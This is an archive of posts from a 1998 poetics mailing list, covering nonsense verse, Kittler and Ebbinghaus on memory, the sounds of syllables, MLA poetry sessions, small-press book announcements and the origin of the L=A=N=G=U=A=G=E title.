On the subject of nonsense words, there's a fascinating chapter in Friedrich Kittler's book _Discourse Networks:1800/1900_ that discusses nonsense words emergent function for psychophysics in the late nineteenth century. Kittler discusses the work of Hermann Ebbinghaus who conducted some of the first empirical research on memory by forcing himself to memorize strings of nonsense syllables (which he generated combinatorially) for hours every day for years, in order to quantify the amount of data a mind can retain. In this process, Ebbinghaus began losing his experiential memories as well as his ability to speak his native language: "For the sake of a few formulas, Ebbinghaus sacrificed (as Nietzche did for the desert) his subject of knowledge (psychophysics). Dizzy, numbed by all the syllables, his mind became a tabula rasa." But then, interestingly, Ebbinghaus performed the same experiment using, instead of nonsense syllables, cantos from Byron's Don Juan. He found that it made no difference to mnemonic retention whether he used nonsense or sense. "From this point of view it almost seems as if the difference between sense and nonsense material were not nearly so great as one would be inclined a priori to imagine." What is important in this is that meaning and nonmeaning (referentiality and non referentiality) become equal, as far as the mechanics of our perception is concerned. "If the difference between sense and nonsense dwindles, then the kingdom of sense -- that is the entire discourse network of 1800 -- sinks to the level of a secondary and exceptional phenomena." According to Kittler, the view that psychophysics could destroy the exotic mystery of meaning had great repercussions in the ways people conceive of culture and language, and especially poetry, in this century. "Instead of the classical question of what people would be capable of if they were adequately 'cultivated'', one asks what people have always been capable of when autonomic functions are singly and thoroughly tested." So, in a certain sense, interest falls away from culture, and lands on the body's own intelligible, involuntary posessions, its limits, its unconscious, etc. From this point on, the point of "truth" becomes the body which is in the process of "breaking down" ,"losing its faculties", going insane. Poetry (especially the poetry discussed in this thread: Louis Carroll, Hugo Ball; as well as Christian Morgenstern and others) latches on to this "truth of the body", and begins to imitate it. This is why Kittler says that much of the literature after 1900 is a "simulacrum of madness". Not that I agree with everything Kittler says, but I am intrigued with the question of whether we can think of any writing that strikes us as nonsense as referring to a state of communication which is in some sense "insane"; a state which might give us a window into what we might think of as pure material, pure body, not because it really is

more material than everyday, rational communication, but because it reveals to us the essential equanimity of the two.
Chris Nagler

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510. A. Jenn Sondheim
MLA Session, Letter Sensations and Embodied Life (fwd)
Mon 14 Dec 1998

(sorry for the repetition - Alan)

MLA Session, Letter Sensations and Embodied Life

from Ann Weinstone re: Our MLA session in San Francisco. Forwarded with permission. Please come if you can. A slight outline of my own contribu- tion follows.

======

Dear Colleagues,

I am writing to let you know about an upcoming Special Session at this year's MLA.

Letter Sensations and Embodied Life seeks to open a different kind of conversa- tion about writing and biological life. We want to ask, in the wake of poststruc- turalism, how we can begin to speak about the effects of language on embodied experience. How do bodies and language transform each other? Does the body speak or write? Do letters live?

In "Sensible Letters," Vicki Kirby connects Saussure's fascination with ana- grams, clairvoyancy, and trance induced glossolalia to current discour- ses of artificial life. Her reading suggests that the letter may be pos- sessed by a life force of its own that extends well beyond conventional ideas about the ontology of language.

Alan Sondheim's "Is There a Body in This Text?" opens up notions of phys- ical and psychical constitution to consider interpenetrations of avatar, fleshly, and on-line entities.

Ann Weinstone's "On the Junk Beam" suggests strategies of aliteracy that might helpfully mutate current poststructuralist/bioinformatic intensifi- cations of the adequation of writing and making.

Jeffrey T. Schnapp will serve as chair.

The session is number 599 and will take place on Tuesday, December 29th, 1:45-3:00p.m., Union Square 21, San Francisco Hilton.

Hope to see you there!

======

(My rough outline.)

I'd like to talk on "is there a body in this text, is there a text in this body" - using a number of approaches, depending on the time:

1 talking about the projection/introjection of emotion on the Net (whose emotion?)
2 talking about 1/2/3/other person on chats etc. (representations of the constituted body as usual)
3 ytalk, ICQ, and the (dispersed) space of the body
4 my own work with jennifer, julu, nikuko as system interrupts, resonances - _effusions_
6 considering the future of the Net as 'seamless virtual reality,' the interpenetrations and mixups on the Holodeck - Jennifer writing Alan, jennifer-function, body-function, quantum-logic superimpositions

I will be working from notes/outline, not a completed paper - the relation of the body to speech is integral for me -

---

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511. Garrett Kalleberg

TF7(b)

Mon 14 Dec 1998

Due to technical difficulties...

Some of you may have experienced some problems with viewing the cover to this issue of The Friend. This was the result of an effort to begin to incorporate sound into the journal. Most of the problems have since been resolved, and I hope you will return again. (Internet Explorer users will probably still not hear any sound, but should no longer see any error messages.) Feel free to write me if you continue to have difficulties - the more specific you can be about what the problem is, what browser & version no. you are using, what platform and what kind of a machine, &c. the better.

http://www.morningred.com/friend/1998/12/cover.html

Thanks very much,

Garrett

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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512. Tom Orange
syllable-sounds
Mon 14 Dec 1998

On Sun, 13 Dec 1998, Emily Lloyd wrote (describing somone else's project):

> *And that we tend to make "bad-guy" aliens, if they're*
> *speaking a language (written by an English speaker), which translates to*
> *"if they're speaking nonsense," sound vaguely like speakers of languages*
> *from whatever country "we're" ("nation-wide") most afraid of or pissed*
> *at when the language/nonsense is created. Germans, Russians, etc....*

for the ancient greeks, peoples who spoke other languages were collectively referred to as "hoi barbaroi," literally, people who sound like they are saying "bar bar" -- hence, barbarians.

t.
[redacted]

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513. Billy Little
Re: "My NAME is Alice, but-- "
Mon 14 Dec 1998

---

rachel
that was quite the poem thank you the electronic equivalent of livingston
loews rove to sanido

Let go, shirk off the moderate little grace of vain
Cupid and grease the silver and lascivious age.
His livid qualms dope our cool arrival.
Rich poems sag like great nuns; art cheats time's martyrs.
--Lisa Robertson XEclogue

billy little
4 song st
satori, b.c. V0R1Z0

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514. Alaric Sumner
the performance Alaric Sumner wrote about
Mon 14 Dec 1998

Lawrence Upton wrote:

> *DAN DIPTYCH ISBN 0 86162 846 2, Writers Forum, December 1998, 75p plus p &p*
> *-*
> *This is the text used in the performance Alaric Sumner wrote about the other day*

Actually, I had posted the review to British Poets not Poetics on the grounds that it was a UK event. However, since it has now been mentioned here, it might as well appear here too (sorry to those of you on both lists). (Explanation: DAN = Domestic Ambient Noise, an ongoing series of 300 collaborative books of visual performance texts produced in the form of a Theme by Bob or Lawrence which is then varied by the other. Domestic Buoys = one of many nicknames for the duo.)

> *The Domestic Buoys (Lawrence Upton and Bob Cobbing) gave a short but entertaining reading at SubVoicive, London, on the 1st Dec. which was added to by many involuntary noises from the audience (including a delightful fit of giggles from one thoroughly engaged member).*
>
> *Upton began by explaining the DAN affair to us (aware there were some in the audience who were not regulars on the 'scene') but following an "interruption" by Cobbing (posed as a deliberately incoherent question) this language soon merged into sounds (though recognisible language still frequently burst through). Upton's inventiveness seemed an easy (in the sense of 'competent' not 'facile') access to surprising himself within a large frame of sound and language (bounded only by the formats that he sets himself within the DAN project). Cobbing's abilities in timing were fully evident (sound poet as brilliant stand up comedian?) but the layers of sensitive sonic material weaving in and out of the sonic environment and in particular in and out of Upton's work produce subtleties of relation, tone, texture, text. The precise relation of visual material (the DAN DIPTYCH score they were using) to sonic/performance material is one I have often found difficult, but on this occasion (as yet unanalysed) my memory of the performance and my memory of the visual work seem surprisingly consonant. Though at the time amusement seemed the most prominent aspect of my response, as I write this I am rehearing/seeing: Bob's subtle use of his beer mug to change tone; Lawrence's "he wipes his nose" followed by Bob's amusing/intricate use of the hanky as a sound source; Lawrence's weave of word and sound; and am left with much more subtle textures that I am continuing to revisit.*

Alaric Sumner

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515. **Marcella Durand**
dyslexic urban flies
Mon 14 Dec 1998

Thanks Randolph--you're absolutely right, it is J.H. Fabre and what drawings! Every thorax, every sensitive hair in magnified insectecoidal glory! As I remember (and all 666 people on this list have gotten to see how wonderful my memory is, particularly regarding author's names--see "why people lurk"), the writing was pretty intricate as well.

(backchannel whisper: got chapbooks, they're beautiful)

best,
Marcella

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516. **Gwyn McVay**
Re: non-referential poems for your consideration
Mon 14 Dec 1998

Seems like a lot of this list has the same theory of semantics that H.D. has.<<<

George Thompson has called my attention to the eerie coincidence of initials between Humpty Dumpty and Hilda Doolittle.

Gwyn McVay
General Motors
Good Morning

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517. **Emily Lloyd**
Re: syllable sounds
Mon 14 Dec 1998

& re: Tom Orange's barbarians:

A few months back I was in a Dunkin' Donuts and the guy in front of me ordered six barbarian cremes. em

_____
Get Your Private, Free Email at http://www.hotmail.com

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518. Laura E. Wright
Re: Reggae William Blake
Mon 14 Dec 1998

David Erben (Art) wrote:
>
> I'm also reminded of a alternative version of "The Emperor of Ice Cream" I
> heard once in New Orleans. Unfortunately, I never learned who the group
> was.

Probably a completely different thang, but Roger Reynolds composed a "The Emperor of Ice Cream" for voice and... I can't recall. He also wrote an orchestral response to "Self Portrait in a Convex Mirror."

Tangentially,
Laura
--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

"Speech keeps strangling itself, but wisdom has not come."
--Henri Michaux

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519. Mike Kelleher
The Shining
Mon 14 Dec 1998

Hi all.

I am thinking of using Stephen King's _The Shining_ for a comp course next semester and was wondering if anyone had read it and what their thoughts might be - I'm trying to decide if it'd be worthwhile to read the book as opposed to just showing the movie, or if doing both would be useful.

Any comments, b/ or f/c, 'd be apurshiated.

Truly,

Mike

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520. Steven Shoemaker
Re: syllable sounds
Mon 14 Dec 1998

Bob Grumman wrote:

"the long o, I would say, is the easiest
sound to make, then the u in cooing"

There's a moment in Poe's "Philosophy of Composition" when he claims that "r" is the "most producible consonant." Since the claim comes at a rather hyperbolic moment, when Poe is arguing that on the basis of sound alone no other word than "Nevermore" could have served for the refrain of "The Raven" (the long "o" also figures here as "most sonorous vowel"), I hadn't really given it much serious thought. But one of my students this semester made a convincing case for its validity by making dog-like grrrrrrowling noises in his throat. steve

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521. Laura E. Wright
Re: non-referential poems for your consideration
Mon 14 Dec 1998

George Thompson wrote:
>
> Would anyone claim that the following stanza from Lewis Carroll is
> 'referential'?
>
> Twas brillig and the slithy toves
> Did gyre and gimble in the wabe
> All mimsy were the borogoves
> And the mome raths outgrabe.
>
Martin Gardner, in _The Annotated Alice_ gives a translation of this. It
goes something like:
It was midday and the smooth badgers
Were boring holes in the hillside...

This, like Finnegan's Wake, is multi-sense as opposed to strict nonsense. No matter what any writer intends, though, we will find references where we will.

--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302

[redacted]

"Speech keeps strangling itself, but wisdom has not come."
--Henri Michaux

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522. **Judy Roitman**

Re: Louis Carroll, Hugo Ball, etc

Mon 14 Dec 1998

Many thanks to Chris Nagler for a most interesting post, but I would like to point out that context does matter to some people's memories. In fact some of us (I'm one) can not only only remember in context, but sometimes can only remember the context and have to reconstruct the rest. Ebbinghaus' experiment tells us a lot about the way Ebbinghaus' memory worked, and, unfortunately, considering the great sacrifice he made, not much else.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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523. **Judy Roitman**

Re: syllable sounds

Mon 14 Dec 1998

> *Bob Grumman wrote:*
>
> *"the long o, I would say, is the easiest*
> *sound to make, then the u in cooing"*
>
> *There's a moment in Poe's "Philosophy of Composition" when he claims that "r" is the "most producible consonant." Since the claim comes at a rather hyperbolic moment, when Poe is arguing that on the basis of sound alone no other word than "Nevermore" could have served for the refrain of "The Raven" (the long "o" also figures here as "most sonorous vowel"), I hadn't really given it much serious thought.*
> *But one of my students this semester made a convincing case for its validity by making dog-like grrrrrrowling noises in his throat. steve*

But to a singer, r is one of the most difficult sounds to make. m & n are so much easier. Even percussive consonants (b, p, t etc.) are easier because they are impossible to actually _sing_, they are just punctuation.

long o followed by ah are easy; there is a trick to eeee & when you know it eee becomes easy. long u is okay, short i (as in it) and similar vowels are hard.

Anything that closes the throat is hard. (Like, say, "hard"). "By the rude bridge that arched the flood" (Emerson, we had to memorize it in fifth grade) is one of the hardest lines to read out loud I know.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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524. Balestrieri, Peter
seducers/Billy Little
Mon 14 Dec 1998

Just wanted to say what a great list I think Billy's assembled here. Especially Zukofsky, McFadden, and Acker. Billy, you seduced me long ago with your erudite posts that come a courtin' with sexy language that goes to the head. And the heart.

Tambien for Alan Sondheim whose work would be great for wooing the Right One. As long as they weren't Republicans.

Pete

Billy wrote:

Vita Nuova Dante
Amores Ovid
Catullus by Louis Zukofsky
Twenty Love Poems Pablo Neruda
Gypsy Guitar David McFadden
Art of Love Kenneth Koch
Kathy Goes To Haiti Kathy Acker
g. John Berger

Hermetic Definitions H. D.
More Pansies D.H. Lawrence

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525. **Robert Archambeau**
Query: De Man & Comment: Perloff
Mon 14 Dec 1998

So here I am back in Illinois for a month, and I've left the books I need 4,200 miles away in Sweden. So:

I'm looking for the passage where Paul De Man, comparing himself to Derrida, says that the difference between them is that "I can do nothing without a text" (or words to that effect). Anyone know where to look?

By the way -- there was a fascinating talk by Marjorie Perloff and Charles Bernstein at the Museum of Contemporary Art a couple of days ago, with a couple of listees in the audience. Although the title of the talk referred to "the future of poetry" much of the talk had to do with the past, with the 20 year history of language poetry. Bernstein began with a slide of cro-magnon man making cave paintings in a dreary cavern and the comment "this was the state of poetry before my magazine -- you can see the poets struggling with the problem of the personal lyric." Best send-up of "heroic langpo" I've witnessed.

Also good to hear in the after-show schmooze that Marjorie is co-writing a book on poetics with Steve Fredman and Gerry Bruns, two of my profs from Notre Dame. Should be of interest to a lot of listees -- Fredman's "Poet's Prose" was a really fine book, and Bruns' "Modern Poetry and the Idea of Language" deserves to be read by more people.

Joe Amato -- you were there. What'd you think?

Herr Doktor Bromige -- I'll send the pictures of Bjuv, Sweden as soon as they're developed.

Bob Archambeau

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526. **david bromige**
MLA Poetry Event
Mon 14 Dec 1998

Listmates, it may not be too early to post this, as some of you will be leaving your desks and heading for San Francisco very soon.

Event # 375. A Poetry Reading by David Bromige, Lyn Hejinian, and Leslie Scalapino, 5:15-6:30 p.m., Monday Dec.28, Franciscan Room A, San Francisco Hilton.

THIS EVENT IS OPEN TO THE PUBLIC.(v.p.1272, "Special Events," for verification).

While I'm at it, let me mention also Event # 181, "The Poetics of Robert Duncan," 8:30-9:45 a.m., Monday Dec. 28, Parlor 9, Continental Ballroom, San Francisco Hilton. Session Leader : Burton Hatlen. Panelists: Robert Bertholf ("Serial Form in RD's 'Medieval Scenes'"), Devin Johnston ("'Sublime Undoing' :RD and the Metaphysics of Dictation"), and David Bromige ("A Poetics of Delivery : RD's Reading of 'Moving the Moving Image'").

My paper looks at an article I published in 1975 on Duncan's 1970 reading aloud of this poem (Passages 17), focussing on the excerpts from the "Perfect Sermon or the Asclepius" included in that poem; and at Duncan's letter to me in response to this article ("You've centered in on one of the most tricky intents in Passages for me too. And one I still feel so uncomfortable about that I avoid tackling it"). My paper concerns much else besides : a turn in a literary friendship, the tedding-out of two sets of poetics, an Oedipal interlude, foreshadowings of Poetry Wars to come; gender, class, behaviorism and free will, ancient Greek Egypt, 19th Century Britain, and USA 1970's. NOT OPEN TO THE GENERAL PUBLIC. (Would give 'em nightmares!)

I'll re-post this Xmas Eve or near as dammit. David

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527. **Steven Shoemaker**

Re: syllable sounds

Mon 14 Dec 1998

Interesting paradox here. "R" is an easy sound to make in a kind of crude, animal-like grrrrrrowling way, but difficult to make when singing, projecting, articulating. This doesn't reflect well on Poe's arguments vis a vis "Nevermore."

It might also be pointed out that when dogs sing, which happpens quite often in my neighborhood, they go for the "ooooooo."

steve

On Mon, 14 Dec 1998, Judy Roitman wrote:

> *Bob Grumman wrote:*
>
> *"the long o, I would say, is the easiest sound to make, then the u in cooing"*

> *There's a moment in Poe's "Philosophy of Composition" when he claims that "r" is the "most producible consonant." Since the claim comes at a rather hyperbolic moment, when Poe is arguing that on the basis of sound alone no other word than "Nevermore" could have served for the refrain of "The Raven" (the long "o" also figures here as "most sonorous vowel"), I hadn't really given it much serious thought.*
> *But one of my students this semester made a convincing case for its validity by making dog-like grrrrrrowling noises in his throat. steve*
>
> *But to a singer, r is one of the most difficult sounds to make. m & n are so much easier. Even percussive consonants (b, p, t etc.) are easier because they are impossible to actually _sing_, they are just punctuation.*
>
> *long o followed by ah are easy; there is a trick to eeee & when you know it eee becomes easy. long u is okay, short i (as in it) and similar vowels are hard.*
>
> *Anything that closes the throat is hard. (Like, say, "hard"). "By the rude bridge that arched the flood" (Emerson, we had to memorize it in fifth grade) is one of the hardest lines to read out loud I know.*
>
> *---*
> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> *[redacted] |*
> *fax: [redacted] | Larry Eigner, 1927-1996*
> *---*
> *Note new area code*
> *---*
> *http://www.math.ukans.edu/~roitman/*
> *---*

↑ Index

528. **groberts**
Re: syllable sounds
Mon 14 Dec 1998

Since Spicer has not been mentioned in nigh on a couple of weeks now:

"Drugs" from "Homage to Creeley"

The bell went "rrrr"
And we both went "rrrr"

And there was a beauty
In talking to him.

But angel-talk howls
At the edge of our beds
And all of us now
Are partners of hell.

For the crocodile crys
Every tear that we know
And our tears are our blankets
Wherever we go.

As the explanatory notes to this section and others make clear, the Alice books figure prominently here (in hell).

Spicer's take on the costs of language use is complex enough to swamp his little poem-boats, and I'm not a fast enough bailer. Those fluent in Martian may be able to help out....

Gary R.

↑ Index

529. Charles Alexander
L=A=N=G=U=A=G=E
Mon 14 Dec 1998

Someone asked on the list last week if Ray DiPalma designed the title L=A=N=G=U=A=G=E. I had heard Ray tell how this came about, but wasn't sure I could report it accurately, so I send him a post asking him to relate the story once again. Here's his reply to me.

>Dear Charles,
>
>Thanks for asking. As I've explained for friends in France (& recently for
>someone at the NY Public Library Berg Collection) who had asked how the L=A=N=
>thing came about, I should be able to do it succinctly here—
>
>Around the time the magazine was in its late planning stages (1978) I went up
>to Charles' then apartment on Amsterdam Ave to have lunch with him. When I
>got there he told me that he & Bruce were thinking about calling the magazine
>Language—but he wanted to put something between the letters of the word. I

>immediately sat down at his IBM Selectric II and typed L=A=N-
G=U=A=G=E. I
>told him "There's the name for your magazine and a logo as well." It was as
>instantaneous as that.
>[Bruce once told] me at a party—after the magazine had been
>going for around a year or so—that he especially liked what I had done
because
>when the magazine was now mentioned in some other print context its name
took
>up so much space on the page. (That's certainly NOT what I had in mind
when I
>created the configuration).
>
>Remember, 1978 was pre-computer days for all of us & the IBM Selectric II
was
>the high tech writing machine—Charles, at the time, was the only one of us
>(Bruce, Steve McC, Ron, me) who owned one. So I liked falling by his place
>from time to time and occasionally improvising as well as typing drafts on my
>own work on his machine. (The writing of the LEGEND collaboration was also
>underway at this time. So we were all in touch a great deal either in
person,
>thru the mails or over the phone. LEGEND, by the way, is another work for
>which I provided the title. But that's a whole other story.)
>
>I finally got my own IBM Seletric II in 1980 & worked directly on it when
>drafting new poems. I also began to explore its possibilities for creating
>graphic works and pushed the limits of the machine's typographic aspects.
>From '84-86 I did a large series of pieces called UCCELLI that derived from
>very close typing of specific letters from particular fonts (frequently
>changing the type balls) while advancing the platten by hand. A lot of hand-
>eye work involved in balancing the progression through a slowly unfolding
>lettristic space both on the vertical and horizontal. It was quite like
>working at a loom. Later cut-up (and further manipulated on a xerox ma-
chine)
>sections of UCCELLI appeared in a work I did called TEXT & OCCULTATION
which
>appeared in a magazine called "Central Park" in the mid-late '80s. Pages
from
>UCCELLI proper have never appeared in print & as far as I know my wife
>Elizabeth is still the only person to have seen them. They are too wide to
fit
>into a filing cabinet, so I must have them stored flat in a box somewhere.

>
>All the best-RAY
>
>

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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530. **R. Drake**
OUTSIDE THE HAT
Mon 14 Dec 1998

---

fun stuff!

> *This just in!*
>
> *My new poetry collection just went online.*
>
> *Outside the Hat*
>
> *(replete with animated graphics & music, and yeah, a few poems)*
> *is now available at:*
>
> *http://www.chbooks.com/online/outside_the_hat/*
>
> *It's published by Coach House Books. A print version will follow in the new year.*
>
> *Hope you enjoy it.*
>
> *Gary*
>
> ---
> *Gary Barwin, Ph.D.*
> *Program Director/Composer*
> *Composers in Electronic Residence*
>
> *escargot post: 178 Glen Rd. Hamilton ON CANADA L8S 3N1*
> *pharyngeal post:* [redacted]
> *eek mail:* [redacted]
> *telepathy:*

Barwin website: http://www.maltedmedia.com/barwin/

Composers in Electronic Residence Website: http://www.edu.yorku.ca/ciermain.html

---

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531. joel lewis
f.y.i. (hidden injuries of class department)
Mon 14 Dec 1998

MTV Apologizes to Teen for Bad Edit

MTV Apologizes to Teen for Bad Edit HAMILTON, N.J. (AP) _ A teenage boy who won a nationwide contest to interview a rap group on MTV says the cable channel aired a segment that was horribly out of tune. The 24-hour music network has apologized to Bradley Jenkins, and agreed to redo a segment that the family claims portrays them as destitute and unhappy. ``When you look at the tape, it looks like my life is really bad and my family is really broken,'' the boy told The Times of Trenton in Monday's editions. ``It was supposed to be a really positive experience for me and it turned out to be really horrible.'' Jenkins was chosen to interview the hip-hop group A Tribe Called Quest. The network boiled down 20 hours of film into a 12-minute segment that showed a down-and-out family and a teen lifted from despair by the group's positive message. Bradley's father, Walter Jenkins, said he and his wife were so upset by the segment that they missed several days of work. They said worried relatives from as far away as Oklahoma started calling the family to ask if anything was wrong. ``I can't put into words how totally disappointing this thing is,'' Walter Jenkins said. ``How could they do that? Maybe they've got this one editor with a tabloid mentality or something.'' MTV producers and editors called the family last week to apologize. They also re-edited the segment to remove the embarrassing parts. ``We want to make people happy,'' MTV spokeswoman Marnie Malter said. ``We want this experience to be wonderful for everyone. We think it's a terrific episode that presents Brad in a positive light.'' Bradley plays varsity football, baseball and basketball at Steinert High School, and is a member of Future Business Leaders of America. His grades are in the A and B range, and he sometimes performs as an actor in Princeton's McCarter Theatre.

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532. **Aldon Nielsen**
Re: this needful thing
Mon 14 Dec 1998

By the way -- just got an undergraduate paper with citations to both your book and Vince Gotera's -- which the student turned up with no prodding from me -- so the work IS getting around --

↑ Index

533. **Aldon Nielsen**
Re: this needful thing
Mon 14 Dec 1998

OK -- that message was for Michael Bibby -- sorry --

By the way, if you check out the footnotes to the Starr Report you'll find Lewinsky's thankyou note to the President for the copy of LEAVES OF GRASS -- a hoot in itself --

The Report also describes VOX as a book about phone sex -- I suppose that's true enough, in the same sense that GREAT GATSBY is a book about Long Island --

↑ Index

534. **Tosh**
Boris Vian's I SPIT ON YOUR GRAVES
Mon 14 Dec 1998

TamTam Books

E-Mail: [redacted]

Monday, December 14, 1998
PRESS RELEASE

TO CONTACT: Tosh Berman

e-mail. [redacted]

I SPIT ON YOUR GRAVES BY BORIS VIAN (1920-1959)
ISBN 0-9662346-0-X Library of Congress Catalog Card Number: 97-80958
Translated from the French by Boris Vian & Milton Rosenthal 200 pp. $17.00

The most talked about novel of the year in Paris in 1947 was the work of an American black writer, but he was not Richard Wright. The book was published in French as J'irai cracher sur vos tombes, by Vernon Sullivan. The English title would be "I Spit on Your Graves", but as was expected in a preface by the book's translator - Boris Vian, again - Sullivan had no hope of seeing his

work published in his native country. For one thing, it was obscene, containing many descriptions of sexual acts. For another, it was extremely violent, and the violence was that of a black against whites. "J'irai cracher sur vos tombes" charts the erotic adventures of a light-skinned Negro, Lee Anderson, after he takes up a job managing a bookshop in the small Southern town of Buckton. Like Joe Christmas in Faulkner's novel Light in August, Lee is light enough to pass for white. He becomes fixated on two sisters,but his desire to dominate them sexually is morbidly, fatally, connected to a need to obtained vengeance on behalf of his darker-skinned brother, a victim of white violence in the past. Seducing a series of white girls with pathologically inspired energy, Lee revels in a private revenge (they do not realize he is a Negro); but it is not sufficient to satisfy him, and in the end he murders both sisters, before being killed himself by a police bullet.

According to the translator, Sullivan's light skin would have enabled him to live, like his protagonist, among whites, but he preferred 'les Noirs'. While "J'irai cracher sur vos tombes" became highly successful, Sullivan remained an enigma. In fact, this Afro-American novel was a hoax. The book had been written in French, and 'Sullivan' was a ghost. His real name was Boris Vian.

Taken from PARIS INTERZONE by James Campbell

"Published in Paris in 1946 as a thriller loaded with sex and blood, allegedly censored in the US and "translated" into French, J'irai cracher sur vos tombes --I Spit on Your Graves-- was a pure mystification, but also a direct homage to American literature and movies, by a young author, Boris Vian (1920-1959).

More deeply, it was also a violent attack on racism by a jazz fan who had already befriended many black musicians and was to become the closest French friend of Ellington, Davis and Parker.

The novel became a best seller in France and established a scandalous reputation for Vian. But for the past forty years, Vian has become one of the most famous writers of the mid 20th Century, as his hoax of 1946 is only one example --provocative and outrageous, though powerful and meaningful -- of his prolific production: novels and short stories, plays and songs."

-Gilbert Pestureau

"In the tradition of Karl May and Franz Kafka, Boris Vian imagines an America even more amazing than the land he has never visited. I Spit on Your Graves is the first novel to put quotation marks around the 'hardboiled' --a vivid and startling performance." -J. Hoberman

"To Americans Boris Vian has long been one of the hidden glories of French literature. In I Spit on Your Graves, he wrote an utterly untypical work,

a blast from his Id that may well have killed him. Even now, with misogyny disguised as racial justice, its venom remains potent and disturbing, in equal parts appalling and riveting. It is a singular book, not for the squeamish, and not to be passed by." -Jim Krusoe

I Spit on Your Graves is available through:

Small Press Distribution at
Small Press Distribution
1341 Seventh Street
Berkeley, CA 94710-1409
[redacted]

Also at Amazon.com, Barnes & Nobel, and through your local independent bookstore.

End of Press Release

Tosh Berman
TamTam Books

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535. Joe Amato/Kass Fleisher
three items...
Mon 14 Dec 1998

---

for one's beloved?... i'll be a bit old-fashioned... dover puts out a nice little boxed-set of "great women poets" in four volumes (costs but $5-6)... it might do the trick... incl. is

christina rossetti, _goblin market, and other poems_
elizabeth barrett browning, _sonnets from the portuguese, and other poems_
edna st. vincent millay, _renascence, and other poems_
emily dickinson, _selected poems_

---

i'll sneak this in here, b/c i think it's important and urgent enough: the move-on website that tom o posted a while back is now set up for those so inclined to sign a petition to congress (with notification to their congressperson) that censure is the way to go, and that impeachment is not (the way to go)... takes no more than half a minute... go to

http://www.moveon.org/ to sign the petition...

---

about _the shining_: i view the film, anyway, differently than i once did... but one aspect worth looking for, i think, is the effect of isolation/solitude on the writing process... that is, the film might be understood as making a good (if completely over-the-top) case for collaboration (in the most general sense) as an essential aspect of the composing process, requiring some 'input' from outside the writer's consciousness... in the absence of which, you go NUTS (which of course leads to the question of cerebral architectures etc.)... i haven't worked any of this out, and it's certainly a stretch for me to say so (esp. given that i haven't 'explained' the apparent haunting embedded in the plot)---but i have to admit to getting a kick out of nicholson's reaction whenever shelly duvall interrupts his typing... most of you who've lived with another writer can probably relate---which is not to say that, in the end, we all don't *need* interruption as such...

well anyhow...

best,

joe

↑ Index

536. **Pierre Joris**
Re: Boris Vian's I SPIT ON YOUR GRAVES
Mon 14 Dec 1998

Tosh wrote:

> *TamTam Books*
>
> *E-Mail:* [redacted]
>
> *Monday, December 14, 1998*
> *PRESS RELEASE*
>
> *TO CONTACT: Tosh Berman*
>
> *e-mail.* [redacted]
>
> *I SPIT ON YOUR GRAVES BY BORIS VIAN (1920-1959)*
> *ISBN 0-9662346-0-X Library of Congress Catalog Card Number: 97-80958*
> *Translated from the French by Boris Vian & Milton Rosenthal 200 pp. $17.00*

yes indeed, though I don't know this translation, (well, Vian himself was involved, so it should be good) the book is highly recommended -- one of the absolute hits of my adolescence -- sent me straight to the classic amerikan klassik krime writers. Don't know if the other two great Vian novels are available here

(_L'Ecume des Jours_, the Foam of the Days, or something like that, which has a wonderful character called Jean-Saul Partre, and _L'Automne à Peking_, Autumn in Peking) -- if not, hey, Tosh, what you're waiting for? (_L'Ecume_ has a major prop -- a cocktail-piano, where every string, besides creating sound, is attached to a bottle that pours, so that you can create a wild range of cocktails, depending on the tune you play).

Pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

537. Joe Amato/Kass Fleisher
Re: Query: De Man & Comment: Perloff
Mon 14 Dec 1998

---

bob & others,

kass and i had a ball listening to marjorie and charles... i mean, *listening* to marjorie and charles!... the two are obviously comfortable talking with each other, and in public, and this made for an engaging performance---incl. charles's reading poetry from his new book, just out on u of chicago p and highly recommended (by me), _my way_...

as to substance: i found their talk both accessible and provocative, exhibiting far more intellectual reach than i generally enjoy at such well-attended public events... as you know, bob, i posed a question afterward re the relationship among poetry, theory and the arts... i don't know if we ever got around to the last part of my question... but marjorie's ruminations as to how statements of poetic intent have become rather de rigueur these days (and not all that useful, in her opinion), and charles's collapse of the "theory vs. [poetry, e.g.]"

distinction into the (passionate, writerly, readerly) *essay* form---while reserving, as i heard him, a somewhat privileged place for philosophical discourse itself---well, their exchange provided food for much thought on this end, anyway...

best,

joe

↑ Index

538. **Tosh**
Re: Boris Vian's I SPIT ON YOUR GRAVES
Mon 14 Dec 1998

Thank you Pierre for your kind attention to Vian. And yes, I do plan to publish the other Vian books.

Tosh Berman
TamTam Books

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539. **aerialedge**
New Hejinaian/Scalapino from Edge Books
Mon 14 Dec 1998

Announcing publication of

Sight

by Lyn Hejinian & Leslie Scalapino

112 pages, perfectbound.

$10.00 postpaid to poetics subscribers. Regularly $12.

Checks to:
Aerial/Edge
POBox 25642
Washington, DC
20007

AERIAL/EDGE complete listing

They Beat Me Over the Head With a Sack, Anslem Berrigan, $5.
Integrity & Dramatic Life, Anselm Berrigan, forthcoming January '99, $10.
the julia set, Jean Donnelly, $4.

Marijuana Softdrink, Buck Downs, forthcoming 1999.
World Prefix, Harrison Fisher, $4.
Metropolis 16-20, Rob Fitterman, $5.
perhaps this is a rescue fantasy, Heather Fuller, $10.
Sight, Lyn Hejinian and Leslie Scalapino, $12.
Late July, Gretchen Johnsen, $3.
Asbestos, Wayne Kline, $6.
